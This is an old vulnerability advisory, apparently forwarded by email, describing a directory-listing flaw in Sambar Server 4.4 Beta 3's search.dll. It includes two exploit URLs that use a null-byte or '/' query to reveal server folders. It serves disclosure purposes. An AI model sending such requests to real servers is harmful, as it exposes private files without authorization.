Vulnerable: Sambar Server 4.4 Beta 3

Systems   :     WinNT, Win95 OSR2, (possibly Linux affected)

Product   : http://www.sambar.com

Discovery : dethy@synnergy.net





Discussion

-----------



The Sambar Server comes with a non-caching HTTP proxy server and basic SMTP,

POP3, and IMAP4 proxy servers compiled in.

Sambar was created to test a three-tier communication infrastructure modeled

after the Sybase Open Client/Open Server. Originally developed on a Sun

Workstation (UNIX), it was ported to the PC (Windows 32) and licensed for

commercial purposes.





Vulnerability

-------------



The vulnerability occurs in the search.dll Sambar ISAPI Search shipped with

this product. This dynamic link loader does not check on the 'query' parameter

that is parsed to the server, therefore by constructing a malformed URL

we are able to view the contents of the server, all folders, and files.



Thanks also to USSR Labs (www.ussrback.com) for further testing.



Exploit

-------



All that is needed is a malformed query parameter parsed to the search.dll

file.



http://server-running-sambar.com/search.dll?search?query=%00&logic=AND



.. this will reveal the current working directory contents.





 http://server-running-sambar.com/search.dll?search?query=/&logic=AND



.. this will reveal the root dir of the server.





Solution

--------



The vendor [ tod@sambar.com ] of Sambar Technologies has been contacted, so

wait until a

patched version comes out.





Disclaimer

----------



Synnergy Networks may not be held liable for the use and/or potential effects

of these

programs or advisories, nor the content contained within. Use them at your

own risk.





Contact

-------

E-Mail : dethy@synnergy.net

Web : http://www.synnergy.net



--

Met vriendelijke groet / Kind regards,



| Guido Bakker 

| Network Manager



MainNet BV, http://www.mainnet.nl

Phone: +31 (0)20 6133505

Fax: +31 (0)20 6135640